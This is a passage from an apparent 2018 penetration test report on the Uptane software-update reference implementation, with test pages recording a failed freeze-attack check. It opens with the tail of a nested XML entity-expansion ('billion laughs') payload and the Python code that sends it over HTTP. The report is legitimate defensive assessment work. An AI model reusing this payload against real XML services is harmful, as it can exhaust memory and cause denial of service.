'&swri2;&swri2;&swri2;&swri2;&swri2;&swri2;&swri2;&swri2;&swri2;&swri2;'>\n<!EN
TITY swri4
'&swri3;&swri3;&swri3;&swri3;&swri3;&swri3;&swri3;&swri3;&swri3;&swri3;'>\n<!EN
TITY swri5
'&swri4;&swri4;&swri4;&swri4;&swri4;&swri4;&swri4;&swri4;&swri4;&swri4;'>\n<!EN
TITY swri6
'&swri5;&swri5;&swri5;&swri5;&swri5;&swri5;&swri5;&swri5;&swri5;&swri5;'>\n<!EN
TITY swri7
'&swri6;&swri6;&swri6;&swri6;&swri6;&swri6;&swri6;&swri6;&swri6;&swri6;'>\n<!EN
TITY swri8
'&swri7;&swri7;&swri7;&swri7;&swri7;&swri7;&swri7;&swri7;&swri7;&swri7;'>\n<!EN
TITY swri9
'&swri8;&swri8;&swri8;&swri8;&swri8;&swri8;&swri8;&swri8;&swri8;&swri8;'>\n]>\n
<swris>&swri9;</swris>\n"
connection.putheader('User-Agent', 'Python-urllib/3.5')
connection.putheader('Connection', 'close')
connection.putheader('Content-Length', str(len(request)))
connection.endheaders(request)
response = connection.getresponse()
print(response.status, response.reason)
B-92
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
Test Information
Reference Test ID(s) N/A
Tester Allen Cain
Result FAIL
B-93
Southwest Research Institute SwRI Project 10.21713
Vulnerability Assessment of Uptane Reference Implementation Version 3
Penetration Test Report May 31, 2018
dp.update_cycle()
Lastly, attempt to download the updates on the Secondary by running the following command:
ds.update_cycle()
>>> ds.update_cycle()
[…TRUNCATED…]
Requested and received image from Primary, but this Secondary has not validated
any target info that matches the given filename. Expected: 'v1-update.txt';
received: 'v2-update.txt'; aborting "install".
Since the Secondary was unable to download the valid updates, this test highlights a functionality error
that will turn into a freeze attack, therefore this test failed.
B-94